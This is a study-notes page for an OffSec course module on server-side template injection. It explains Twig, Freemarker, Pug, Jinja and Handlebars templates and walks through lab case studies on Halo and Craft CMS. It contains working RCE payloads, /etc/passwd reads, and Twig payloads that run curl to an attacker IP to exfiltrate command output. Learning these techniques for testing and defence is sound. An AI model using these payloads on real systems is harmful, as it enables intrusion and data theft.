Tree's Notes
  • Overview
  • Tools & Cheatsheets
  • Hacking Methodology
  • Hands-on Practice
  • Linux
    • Linux Basics
  • Windows
    • Windows Basics
  • MacOS
    • MacOS Basics
  • Web
    • Web Basics
  • Mobile
    • iOS
    • Android
  • OS Agnostic
    • Template
  • Courses
    • Hack The Box
      • Bug Bounty Hunter
        • Module 1: Web Requests
        • Module 2: Introduction to Web Applications
        • Module 3: Using Web Proxies
        • Module 4: Information Gathering - Web Edition
        • Module 5: Attacking Web Applications with Ffuf
        • Module 6: JavaScript Deobfuscation
        • Module 7: Cross-Site Scripting (XSS)
        • Module 8: SQL Injection Fundamentals
        • Module 9: SQLMap Essentials
        • Module 10: Command Injections
        • Module 11: File Upload Attacks
        • Module 12: Server-Side Attacks
        • Module 13: Login Brute Forcing
        • Module 14: Broken Authentication
        • Module 15: Web Attacks
        • Module 16: File Inclusion
        • Module 17: Session Security
        • Module 18: Web Service & API Attacks
        • Module 19: Hacking Wordpress
        • Module 20: Bug Bounty Hunting Process
    • OffSec
      • 🦊EXP-301
        • Module 1: Windows User Mode Exploit Development: General Course Information
        • Module 2: WinDbg and x86 Architecture
        • Module 3: Exploiting Stack Overflows
        • Module 4: Exploiting SEH Overflows
        • Module 5: Introduction to IDA Pro
        • Module 6: Overcoming Space Restrictions: Egghunters
        • Module 7: Creating Custom Shellcode
        • Module 8: Reverse Engineering for Bugs
        • Module 9: Stack Overflows and DEP Bypass
        • Module 10: Stack Overflows and ASLR Bypass
        • Module 11: Format String Specifier Attack Part I
        • Module 12: Format String Specifier Attack Part II
        • Module 13: Trying Harder: The Labs
      • 🐙EXP-312
        • Module 1: macOS Control Bypasses: General Course Information
        • Module 2: Virtual Machine Setup Guide
        • Module 3: Introduction to macOS
        • Module 4: macOS Binary Analysis Tools
        • Module 5: The Art of Crafting Shellcodes
        • Module 6: The Art of Crafting Shellcodes (Apple Silicon Edition)
        • Module 7: Dylib Injection
        • Module 8: The Mach Microkernel
        • Module 9: XPC Attacks
        • Module 10: Function Hooking on macOS
        • Module 11: The macOS Sandbox
        • Module 12: Bypassing Transparency, Consent, and Control (Privacy)
        • Module 13: GateKeeper Internals
        • Module 14: Bypassing GateKeeper
        • Module 15: Symlink and Hardlink Attacks
        • Module 16: Injecting Code into Electron Applications
        • Module 17: Getting Kernel Code Execution
        • Module 18: Mach IPC Exploitation
        • Module 19: macOS Penetration Testing
        • Module 20: Chaining Exploits on macOS Ventura
        • Module 21: Mount(ain) of Bugs (archived)
      • ⚓IR-200
        • Module 1: Incident Response Overview
        • Module 2: Fundamentals of Incident Response
        • Module 3: Phases of Incident Response
        • Module 4: Incident Response Communication Plans
        • Module 5: Common Attack Techniques
        • Module 6: Incident Detection and Identification
        • Module 7: Initial Impact Assessment
        • Module 8: Digital Forensics for Incident Responders
        • Module 9: Incident Response Case Management
        • Module 10: Active Incident Containment
        • Module 11: Incident Eradication and Recovery
        • Module 12: Post-Mortem Reporting
        • Module 13: Incident Response Challenge Labs
      • 🐉PEN-103
      • 🐲PEN-200
        • Module 1: Copyright
        • Module 2: Penetration Testing with Kali Linux: General Course Information
        • Module 3: Introduction to Cybersecurity
        • Module 4: Effective Learning Strategies
        • Module 5: Report Writing for Penetration Testers
        • Module 6: Information Gathering
        • Module 7: Vulnerability Scanning
        • Module 8: Introduction to Web Application Attacks
        • Module 9: Common Web Application Attacks
        • Module 10: SQL Injection Attacks
        • Module 11: Client-side Attacks
        • Module 12: Locating Public Exploits
        • Module 13: Fixing Exploits
        • Module 14: Antivirus Evasion
        • Module 15: Password Attacks
        • Module 16: Windows Privilege Escalation
        • Module 17: Linux Privilege Escalation
        • Module 18: Port Redirection and SSH Tunneling
        • Module 19: Tunneling Through Deep Packet Inspection
        • Module 20: The Metasploit Framework
        • Module 21: Active Directory Introduction and Enumeration
        • Module 22: Attacking Active Directory Authentication
        • Module 23: Lateral Movement in Active Directory
        • Module 24: Enumerating AWS Cloud Infrastructure
        • Module 25: Attacking AWS Cloud Infrastructure
        • Module 26: Assembling the Pieces
        • Module 27: Trying Harder: The Challenge Labs
      • 🛜PEN-210
        • Module 1: IEEE 802.11
        • Module 2: Wireless Networks
        • Module 3: Wi-Fi Encryption
        • Module 4: Linux Wireless Tools, Drivers, and Stacks
        • Module 5: Wireshark Essentials
        • Module 6: Frames and Network Interaction
        • Module 7: Aircrack-ng Essentials
        • Module 8: Cracking Authentication Hashes
        • Module 9: Attacking WPS Networks
        • Module 10: Rogue Access Points
        • Module 11: Attacking Captive Portals
        • Module 12: Attacking WPA Enterprise
        • Module 13: bettercap Essentials
        • Module 14: Determining Chipsets and Drivers
        • Module 15: Kismet Essentials
        • Module 16: Manual Network Connections
      • 🔗PEN-300
        • Module 1: Evasion Techniques and Breaching Defenses: General Course Information
        • Module 2: Operating System and Programming Theory
        • Module 3: Client Side Code Execution With Office
        • Module 4: Phishing with Microsoft Office
        • Module 5: Client Side Code Execution With Windows Script Host
        • Module 6: Reflective PowerShell
        • Module 7: Process Injection and Migration
        • Module 8: Introduction to Antivirus Evasion
        • Module 9: Advanced Antivirus Evasion
        • Module 10: Application Whitelisting
        • Module 11: Bypassing Network Filters
        • Module 12: Linux Post-Exploitation
        • Module 13: Kiosk Breakouts
        • Module 14: Windows Credentials
        • Module 15: Windows Lateral Movement
        • Module 16: Linux Lateral Movement
        • Module 17: Microsoft SQL Attacks
        • Module 18: Active Directory Exploitation
        • Module 19: Attacking Active Directory
        • Module 20: Combining the Pieces
        • Module 21: Trying Harder: The Labs
      • ⚛️SEC-100
      • 🛡️SOC-200
        • Module 1: Introduction to SOC-200
        • Module 2: Attacker Methodology Introduction
        • Module 3: Windows Endpoint Introduction
        • Module 4: Windows Server Side Attacks
        • Module 5: Windows Client-Side Attacks
        • Module 6: Windows Privilege Escalation
        • Module 7: Windows Persistence
        • Module 8: Linux Endpoint Introduction
        • Module 9: Linux Server Side Attacks
        • Module 10: Linux Privilege Escalation
        • Module 11: Network Detections
        • Module 12: Antivirus Alerts and Evasion
        • Module 13: Active Directory Enumeration
        • Module 14: Network Evasion and Tunneling
        • Module 15: Windows Lateral Movement
        • Module 16: Active Directory Persistence
        • Module 17: SIEM Part One: Intro to ELK
        • Module 18: SIEM Part Two: Combining the Logs
        • Module 19: Trying Harder: The Labs
      • TH-200
        • Module 1: Threat Hunting Concepts and Practices
        • Module 2: Threat Actor Landscape Overview
        • Module 3: Communication and Reporting for Threat Hunters
        • Module 4: Hunting With Network Data
        • Module 5: Hunting on Endpoints
        • Module 6: Theat Hunting Without IoCs
        • Module 7: Threat Hunting Challenge Labs
      • 🦉WEB-200
        • Module 1: Introduction to WEB-200
        • Module 2: Tools (archived)
        • Module 3: Web Application Enumeration Methodology
        • Module 4: Introduction to Burp Suite
        • Module 5: Cross-Site Scripting Introduction and Discovery
        • Module 6: Cross-Site Scripting Exploitation and Case Study
        • Module 7: Cross-Origin Attacks
        • Module 8: Introduction to SQL
        • Module 9: SQL Injection
        • Module 10: Directory Traversal Attacks
        • Module 11: XML External Entities
        • Module 12: Server-side Template Injection - Discovery and Exploitation
        • Module 13: Command Injection
        • Module 14: Server-side Request Forgery
        • Module 15: Insecure Direct Object Referencing
        • Module 16: Assembling the Pieces: Web Application Assessment Breakdown
      • 🕷️WEB-300
        • Module 1: Introduction
        • Module 2: Tools & Methodologies
        • Module 3: ManageEngine Applications Manager AMUserResourcesSyncServlet SSQL Injection RCE
        • Module 4: DotNetNuke Cookie Deserialization RCE
        • Module 5: ERPNext Authentication Bypass and Remote Code Execution
        • Module 6: openCRX Authentication Bypass and Remote Code Execution
        • Module 7: openITCOCKPIT XSS and OS Command Injection - Blackbox
        • Module 8: Concord Authentication Bypass to RCE
        • Module 9: Server-Side Request Forgery
        • Module 10: Guacamole Lite Prototype Pollution
        • Module 11: Dolibarr Eval Filter Bypass RCE
        • Module 12: RudderStack SQLi and Coraza WAF Bypass
        • Module 13: Conclusion
        • Module 14: ATutor Authentication Bypass and RCE (archived)
        • Module 15: ATutor LMS Type Juggling Vulnerability (archived)
        • Module 16: Atmail Mail Server Appliance: from XSS to RCE (archived)
        • Module 17: Bassmaster NodeJS Arbitrary JavaScript Injection Vulnerability (archived)
    • SANS
      • FOR572
Powered by GitBook
On this page
  • Templating Engines
  • Accessing the Template Sandbox
  • Introduction to Templating Engines
  • Twig - Discovery and Exploitation
  • Twig - Discovery
  • Twig - Exploitation
  • Apache Freemarker - Discovery and Exploitation
  • Freemarker - Discovery
  • Freemarker - Exploitation
  • Pug - Discovery and Exploitation
  • Pug - Discovery
  • Pug - Exploitation
  • Jinja - Discovery and Exploitation
  • Jinja - Discovery
  • Jinja - Exploitation
  • Mustache and Handlebars - Discovery and Exploitation
  • Mustache and Handlebars - Discovery
  • Mustache and Handlebars - Exploitation
  • Halo - Case Study
  • Accessing Halo
  • Halo - Translation and Discovery
  • Halo - Exploitation
  • Extra Mile
  • Craft CMS with Sprout Forms - Case Study
  • Accessing Craft CMS
  • Craft CMS with Sprout Forms - Discovery
  • Craft CMS with Sprout Forms - Exploitation
Edit on GitHub
  1. Courses
  2. OffSec
  3. WEB-200

Module 12: Server-side Template Injection - Discovery and Exploitation

Templating Engines

Accessing the Template Sandbox

Start the VPN, VM, and add IP to hosts.

Introduction to Templating Engines

Example Email

Hello Dragan,

Thank you for your order! Your items will be shipped out shortly:

Widget - $10
	Quantity: 3
	Total: 	$30
Toolkit - $20
	Quantity: 1
	Total: 	$20
_______________
Total: 		$50

These items will be shipped to:

194 Bridge Avenue Elton, Louisiana 70532

Example Template Email

01  Hello {{ name }},
02
03  Thank you for your order! Your items will be shipped out shortly:
04  {% for product in cart %}
05  {{product.name}}
06          Price:  ${{product.price}}
07          Quantity: {{product.quantity}}
08          Total:  ${{product.quantity * product.price}}
09  {% endfor %}____________________
10  Total:          ${{total}}
11
12  {% if cart|length > 1 %}
13  These items{% else %}
14  This item{% endif %} will be shipped to:
15  {{address}}

Example Template Variables

{
	"name": "Dragan",
	"address": "194 Bridge Avenue Elton, Louisiana 70532",
	"cart": [
		{
			"name": "Widget",
			"quantity": 3,
			"price": 10
		},
		{
			"name": "Toolkit",
			"quantity": 1,
			"price": 20
		}
	],
	"total": 50
}

Greeting the user

01  Hello {{ name }},
...

Template For Loop

04  {% for product in cart %}
05  {{product.name}}
06          Price:  ${{product.price}}
07          Quantity: {{product.quantity}}
08          Total:  ${{product.quantity * product.price}}
09  {% endfor %}

Displaying the total

10  Total:          ${{total}}

Template If Statement

12  {% if cart|length > 1 %}
13  These items{% else %}
14  This item{% endif %} will be shipped to:
15  {{address}}

Various Templating Engines

Templating Engine
Language
Server/client Side

Twig

PHP

Server Side

Freemarker

Java (usually)

Server Side

Pug/Jade

JavaScript

Mostly Server Side

Jinja

Python

Server Side

Handlebars

JavaScript

Both

Mustache

Multiple

Varies

Twig - Discovery and Exploitation

Twig - Discovery

Inline PHP before Twig

<h1><?php echo $name ?></h1>

<p>Welcome to our site!</p>

<?php 
if ($isAdmin) {
  echo "<p>You are the supreme leader and we love you</p>";
}
?>

Twig Template

<h1>{% if not admin %}sudo {% endif %}make me a sandwich, {{name|capitalize}}!</h1>
We are using Twig remotely to generate this template

Twig Statement

{% if not admin %}sudo {% endif %}

Twig - Exploitation

Twig Documentation Example

{% set numbers = [1, 2, 3] %}

{{ numbers|reduce((carry, v) => carry + v) }}
{# output 6 #}

Arguments for the reduce Function

Arguments

    arrow: The arrow function
    initial: The initial value

var_dump payload

{{[0]|reduce('var_dump','Hello')}}

var_dump Payload output

string(5) "Hello"
int(0)

whoami Payload

{{[0]|reduce('system','whoami')}}

Apache Freemarker - Discovery and Exploitation

Freemarker - Discovery

Freemarker Template

01  <h1>Hello ${name}!</h1>
02  <#if name == "hacker">
03  The top reasons you're great:
04    <#list reasons as reason>
05     ${reason?index + 1}: ${reason}
06    </#list>
07  </#if>

If Statement in Freemarker

02  <#if name == "hacker">
...
07  </#if>

Loop in Freemarker

04    <#list reasons as reason>
05     ${reason?index + 1}: ${reason}
06    </#list>

Freemarker tends to be more susceptible to XSS than other templating engines due to the requirements before 2016 to have developers specify if a variable needs to be HTML escaped.

Freemarker - Exploitation

Freemarker Execute Payload

${"freemarker.template.utility.Execute"?new()("whoami")}

In this scenario, the target is running the application as root. However, it is in a containerized environment, so this might not always be the case.

Pug - Discovery and Exploitation

Pug - Discovery

Pug Template

01   h1 Hello, #{name}
02   input(type='hidden' name='admin' value='true')
03 
04   if showSecret
05     - secret = ['❤️','😍', '🤟']
06     p The secrets are: 
07     each val in secret
08       p #{val}
09   else
10    p No secret for you!

Attributes in Pug

02   input(type='hidden' name='admin' value='true')

if statement in Pug

04   if showSecret
...
09   else
10     p No secret for you!

Code in Pug

05     - secret = ['❤️','😍', '🤟']

Buffered Code

= secret = ['❤️','😍', '🤟']

Pug Loop

07     each val in secret
08       p #{val}

Pug - Exploitation

Storing require as Variable

- var require = global.process.mainModule.require
= require('child_process')

Executing spawnSync

- var require = global.process.mainModule.require
= require('child_process').spawnSync('whoami').stdout

In this scenario, the target is running the application as root. However, it is in a containerized environment. This might not always be the case.

Jinja - Discovery and Exploitation

Jinja - Discovery

Jinja Templating Engine

01	<h1>Hey {{ name }}</h1>
02	{% if reasons %}
03	Here are a couple of reasons why you are great:
04	<ul>
05	{% for r in reasons %}
06		<li>{{r}}</li>
07	{% endfor %}
08	</ul>
09	{% endif %}

Jinja - Exploitation

Obtaining RCE via injection in the Jinja templating engine is the type of complex technique reviewed in the WEB-300 course.

Mustache and Handlebars - Discovery and Exploitation

Mustache and Handlebars - Discovery

Handlebars Template

01  <h1>Hello {{name}}</h1>
02  {{#if nicknames}}
03  Also known as:
04    {{#each nicknames}}
05        {{this}}
06    {{/each}}
07  {{/if}}
08
09  We are using handlebars locally in your browser to generate this template

Handlebars Expression

01  <h1>Hello {{name}}</h1>

Handlebars Helpers

02  {{#if nicknames}}
03  Also known as:
04    {{#each nicknames}}
05        {{this}}
06    {{/each}}
07  {{/if}}

Mustache and Handlebars - Exploitation

For the most part Handlebars is fairly safe due to it being logicless, however helpers can cause it to be "vulnerable".

Halo - Case Study

Accessing Halo

Start the VPN, the VM, and add IP to hosts.

Halo - Translation and Discovery

Install an extension to translate the page if the browser won't do it automatically — I installed Translate Web Page from Filipe Dev into Firefox.

404.ftl

01  <!DOCTYPE html>
02  <html>
03  <head>
04      <meta http-equiv="content-type" content="text/html; charset=utf-8">
05      <link rel="alternate" type="application/rss+xml" title="atom 1.0" href="/atom.xml">
06      <title>Not Found</title>
07      <link href="${static!}/source/css/style.min.css" type="text/css" rel="stylesheet"/>
08  </head>
09  <div class="page_404">
10      <p>The page you are looking for is missing</p>
11  </div>
12  </html>

404 page with Halo

kali@kali:~$ curl -L http://halo/DoesNotExist 
<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    <link rel="alternate" type="application/rss+xml" title="atom 1.0" href="/atom.xml">
    <title>Not Found</title>
    <link href="http://halo/anatole/source/css/style.min.css" type="text/css" rel="stylesheet"/>
</head>
<div class="page_404">
    <p>The page you are looking for is missing</p>
</div>
</html>  

Non-freemarker template response

...
11  </div>
12  </html>
13  {{5*5}}

Freemarker Template Response

kali@kali:~$ curl -L http://halo/DoesNotExist
...
</html>
25

Freemarker template with string response

...
11  </div>
12  </html>
13  ${5*'5'}

Halo - Exploitation

Freemarker RCE Payload

${"freemarker.template.utility.Execute"?new()("whoami")}

/etc/passwd in Halo

kali@kali:~$ curl -L http://halo/DoesNotExist
...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Extra Mile

Do the lab.

Craft CMS with Sprout Forms - Case Study

Accessing Craft CMS

Start the VPN, the VM, and add the IP to yours hosts.

Craft CMS with Sprout Forms - Discovery

Running Gobuster against the craft webpage

kali@kali:~$ gobuster dir --wordlist /usr/share/wordlists/dirb/common.txt --url http://craft/
...
===============================================================
/admin                (Status: 302) [Size: 0] [--> http://craft/admin/login]
/index                (Status: 200) [Size: 56284]                           
/Index                (Status: 200) [Size: 56284]                           
/index.php            (Status: 200) [Size: 56284]                           
/logout               (Status: 302) [Size: 0] [--> http://craft/]           
...

cURL Payload

{{[0]|reduce('system','curl http://192.168.49.51/helloFromTheOtherSide')}}

Python HTTP Server

kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

SSTI Confirmation

192.168.51.105 - - [09/Jul/2021 14:28:16] code 404, message File not found
192.168.51.105 - - [09/Jul/2021 14:28:16] "GET /helloFromTheOtherSide HTTP/1.1" 404 -

Craft CMS with Sprout Forms - Exploitation

Exfiltration Payload

{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}

Exfiltration in HTTP log

192.168.51.101 - - [09/Jul/2021 14:44:49] "GET /?exfil= HTTP/1.1" 200 -

URL Encoding Exfil

{% set exfil = "Hello & Goodbye"| url_encode %}
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}

Encoded message in HTTP log

192.168.51.101 - - [09/Jul/2021 15:45:57] "GET /?exfil=Hello%20%26%20Goodbye HTTP/1.1" 200 -

Executing whoami and Exfiltrating the Output

{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://192.168.49.51/?exfil=' ~ exfil)}}

Output of whoami Logged

192.168.51.101 - - [09/Jul/2021 15:55:59] "GET /?exfil=www-data%0Awww-data%0A HTTP/1.1" 200 -

/etc/passwd From Craft

192.168.51.105 - - [09/Jul/2021 15:57:50] "GET /?exfil=%3Cbr%20%2F%3E%0Aroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fash%0Abin%3Ax%3A1%3A1%3Abin%3A%2Fbin%3A%2Fsbin%2Fnologin%0Adaemon%3Ax%3A2%3...
PreviousModule 11: XML External EntitiesNextModule 13: Command Injection

Last updated 5 months ago

🦉
Comparing levels of logic
Twig Filters
Twig RCE
Freemarker Variables
Name set to "hacker"
HTML in name Variable
Freemarker Multiply Number
Freemarker multiple Number and String
Freemarker Execute Documentations
Freemarker RCE
Discovering Pug
Pug - require Does not Exist
Pug - global.process.mainModule.require
Pug - Requiring child_process
Jinja multiplying with string
Jinja - Config Key
Handlebars - Reading Directory
Handlebars - Read /etc/passwd
Halo Admin Page
Halo Theme Editor Navigation
Halo Theme Editor
Halo - Template Injection to view /etc/passwd
Craft CMS Home page with Sprout Form
Discovering possible PHP and Craft CMS
Craft Admin Page
Submitting Form
Form Email
Submitting Template
Twig Sandbox
Payload in Craft CMS
Burp Decoder
Selecting URL Decoding
Burp Decoding /etc/passwd